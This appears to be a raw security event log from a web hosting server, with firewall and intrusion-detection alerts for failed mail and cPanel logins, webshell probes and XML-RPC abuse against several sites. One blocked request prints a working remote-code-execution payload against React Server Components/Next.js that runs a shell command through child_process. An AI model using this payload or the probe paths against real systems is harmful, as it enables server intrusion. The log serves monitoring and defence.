2026-01-31  6:35:46 18904 [Warning] Aborted connection 18904 to db: 'unconnected' user: 'unauthenticated' host: '34.22.151.18' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.249.32.92
country_id: 1814991
description:
2026-01-31 06:35:14 dovecot_login authenticator failed for H=([183.71.251.66]) [113.249.32.92]:40389: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: modern.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/modern/public_html/wp-admin/images/file.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.22
country_id: 1269750
description:
2026-01-31 06:35:26 dovecot_login authenticator failed for H=([128.185.194.22]) [128.185.194.22]:51252: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bfebc87d6bced8f2ca3c89dc17cbc25f26fc8fff||Title:0x2fb24945||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:703e5006461f7ab048aa5afbd683583b30795ae6||Title:0x7856d6e3||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 34.22.151.143
country_id: 2802361
description:
2026-01-31  6:37:00 18959 [Warning] Aborted connection 18959 to db: 'unconnected' user: 'unauthenticated' host: '34.22.151.143' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: cordage.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home2/admincordage/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.19.197.201
country_id: 6252001
description:
2026-01-31 06:39:18 dovecot_login authenticator failed for H=(ADMIN) [37.19.197.201]:4977: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:470ab4f462fcda00c5adc054b9517615122ac601||Title:0x2983548f||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
country_id: 3175395
description:
2026-01-31 06:40:04 dovecot_login authenticator failed for H=net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:53779: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.32.102.90
country_id: 1814991
description:
2026-01-31 06:40:13 dovecot_login authenticator failed for H=([117.32.102.90]) [117.32.102.90]:52720: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-01-31 06:41:18 dovecot_login authenticator failed for H=([119.192.59.80]) [119.192.59.80]:58642: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.195.135.222
country_id: 1814991
description:
2026-01-31 06:41:26 dovecot_login authenticator failed for H=([183.195.135.222]) [183.195.135.222]:53774: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-31 06:41:27 H=(localhost.localdomain) [78.153.140.207]:41494 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.216.58.204
country_id: 1835841
description:
2026-01-31 06:41:44 dovecot_login authenticator failed for H=([211.216.58.204]) [211.216.58.204]:52329: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.3
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f9d3c540663c28c5cbf97e76f2f28df5f9eea189||Title:0xe2248d04||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.219.221.101
country_id: 6251999
description:
2026-01-31 06:42:12 dovecot_login authenticator failed for H=([207.219.221.101]) [207.219.221.101]:38732: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-01-31 06:42:24 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:60046: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.97.203.163
country_id: 3686110
description:
2026-01-31 06:42:39 dovecot_login authenticator failed for H=(Dinamic-Tigo186-97-203-163.tigo.com.co) [186.97.203.163]:47620: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.152.22
country_id: 1835841
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/krisfood/public_html/wp-includes||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a83a7aac40fb9db84572e6ef2e3d4eefd0124930||Title:0x40de4bad||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.151.249
country_id: 1819730
description:
2026-01-31 06:42:04 dovecot_login authenticator failed for H=249.151.48.116.static.netvigator.com [116.48.151.249]:53585: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-01-31 06:42:31 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg [121.6.81.59]:39715: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.26.99.150
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38421515745101 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-01-31 06:44:27 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [65.191.211.33]:49346: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.164.93.136
country_id: 6252001
description:
2026-01-31 06:44:46 dovecot_login authenticator failed for H=(syn-024-164-093-136.res.spectrum.com) [24.164.93.136]:51344: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6a87a78cec1c7c71be1d85e7ee8e2f793d8eb778||Title:0x0805558b||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: cloud.imax.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/tuju7822/erp.tujusetia.my.tujusetia.my/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.63.253.214
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=69&page=7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a580951508578848b140eeed4b0903cfe54fd9a||Title:0xd51ef8c4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.9.242
country_id: 2017370
description:
2026-01-31 06:47:25 dovecot_login authenticator failed for H=([31.173.9.242]) [31.173.9.242]:48411: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:465fb57c4f2df788baaf4530867d04be07033b4b||Title:0x7fbefb40||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.65.99
country_id: 3144096
description:
2026-01-31 06:47:44 dovecot_login authenticator failed for H=(cm-178.232.65.99.get.no) [178.232.65.99]:49208: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.107.193
country_id: 1814991
description:
2026-01-31 06:47:36 dovecot_login authenticator failed for H=([220.180.107.193]) [220.180.107.193]:49300: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.66.2.184
country_id: 390903
description:
2026-01-31 06:48:17 dovecot_login authenticator failed for H=orz58h.static.otenet.gr [94.66.2.184]:56450: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-01-31 06:48:23 dovecot_login authenticator failed for H=([45.82.109.136]) [45.82.109.136]:37206: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.161.232.9
country_id: 6252001
description:
2026-01-31 06:48:44 dovecot_login authenticator failed for H=ip98-161-232-9.ph.ph.cox.net [98.161.232.9]:50712: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce38485fe7fb63f8d4e452aa6d4fe1392b4c0983||Title:0x1655fec6||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.129.89
country_id: 1861060
domain: tschuan.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/tschuan/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.8.170
country_id: 2017370
description:
2026-01-31 06:49:41 dovecot_login authenticator failed for H=([31.173.8.170]) [31.173.8.170]:32920: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.40.121.4
country_id: 1643084
description:
2026-01-31 06:49:03 dovecot_login authenticator failed for H=([103.40.121.4]) [103.40.121.4]:57218: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.195.255.12
country_id: 1835841
description:
2026-01-31 06:49:27 dovecot_login authenticator failed for H=([124.195.255.12]) [124.195.255.12]:53924: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.152.22
country_id: 1835841
domain: mail.oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/oxboldc/public_html/wp-includes||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bce96079a7453273c50cede3424a1d48d539a741||Title:0x9ba5ac31||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6191530ffe8908b02ad6154f49a071e784d2e940||Title:0xac2ac4c7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.65.202.110
country_id: 2921044
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/wpr-addons/forms/wp.php||SC:/home/pftfood/public_html/wp-content/uploads/wpr-addons||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.239.182
country_id: 1269750
description:
2026-01-31 06:52:21 dovecot_login authenticator failed for H=(aes-static-177.143.22.125.airtel.in) [128.185.239.182]:33822: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.16.55
country_id: 3469034
description:
2026-01-31 06:52:32 dovecot_login authenticator failed for H=(177-174-16-81.user.vivozap.com.br) [177.174.16.55]:44068: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: ms-chemicals.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/mschemic/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.154.156
country_id: 2750405
description:
2026-01-31 06:53:02 dovecot_login authenticator failed for H=([103.219.154.156]) [103.219.154.156]:46248: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: ms-chemicals.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home2/mschemic/public_html/wp-content/uploads/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-01-31 06:53:12 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net [111.70.28.243]:40917: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:97884b87b848ff92aa5fc6cf23668808a0e512eb||Title:0x2aa28a68||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57f2f62c0aa3050e60f0bc8a8fe9ecee17740552||Title:0xa1e75c51||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.213.237.28
country_id: 6252001
description:
2026-01-31 06:55:00 dovecot_plain authenticator failed for H=c-73-213-237-28.hsd1.va.comcast.net (spron) [73.213.237.28]:42596: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.71.207.245
country_id: 1880251
description:
[2026-01-31 06:54:04 +0800] info [cpaneld] 167.71.207.245 - 2083mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.165.224.154
country_id: 953987
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/index-3.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 176.120.22.61
country_id: 2017370
description:
2026-01-31  6:55:52 19558 [Warning] Aborted connection 19558 to db: 'unconnected' user: 'unauthenticated' host: '176.120.22.61' (This connection closed normally without authentication)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e59900f7f37fb5d48b6959ca787e2523f5a7723c||Title:0x66642deb||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.59.252.23
country_id: 6252001
description:
[2026-01-31 06:57:08 +0800] info [webmaild] 108.59.252.23 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: figofoods.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1769813858',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.247.43.42
country_id: 2017370
description:
2026-01-31 06:58:10 dovecot_login authenticator failed for H=([188.247.43.42]) [188.247.43.42]:38822: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.75.110
country_id: 1149361
description:
2026-01-31 06:58:49 dovecot_login authenticator failed for H=([180.94.75.110]) [180.94.75.110]:59077: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.61.172
country_id: 99237
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/product-knowledge.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:90732475ca46ff41f871f84c9457f94512ea5638||Title:0x1aed0f0d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.102.232.49
country_id: 3057568
description:
2026-01-31 06:58:19 dovecot_login authenticator failed for H=(ADMIN) [149.102.232.49]:21242: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-01-31 06:58:21 dovecot_login authenticator failed for H=([197.219.208.58]) [197.219.208.58]:59986: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-31 06:59:04 dovecot_login authenticator failed for H=([182.95.230.142]) [182.95.230.142]:48982: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ae1396cf994e360ed06ba0702e61ead892f25aaa||Title:0xa2f41d73||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-01-31 06:59:36 dovecot_login authenticator failed for H=([125.61.36.22]) [125.61.36.22]:43289: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.6.115.88
country_id: 1814991
description:
2026-01-31 06:59:18 dovecot_login authenticator failed for H=([183.6.115.88]) [183.6.115.88]:43818: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.129.210
country_id: 1861060
domain: mail.stonewld.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/stonewld/public_html/mail/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 07:00:26 dovecot_login authenticator failed for H=(0O92R6hUO) [158.94.208.110]:57134: 535 Incorrect authentication data (set_id=bktan@printspecsolution.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:58a34822f561d871023e112010d24eb98c3dabd6||Title:0x0de194ad||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/autoload_classmap.php||SC:/home/pftfood/public_html/wp-admin/images/autoload_classmap.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.148
country_id: 2635167
description:
2026-01-31  7:01:31 19841 [Warning] Aborted connection 19841 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.148' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/media/autoload_classmap.php||SC:/home/pftfood/public_html/wp-includes/images/media/autoload_classmap.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: egbwawasan.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/egbwawasancom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 07:01:14 dovecot_login authenticator failed for H=(G1qVuB) [158.94.208.110]:65166: 535 Incorrect authentication data (set_id=bktan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin88.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:287a98d852ebabdf7998336a1b811c23b11da54a||Title:0x69a4a79b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-31 07:02:48 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:47042: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/about.php||SC:/home/pftfood/public_html/wp-includes/images/about.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.78.152.240
country_id: 1861060
domain: pftfood.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/pftfood/public_html/wp-includes/sodium_compat/src/index.php||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.178
country_id: 1605651
description:
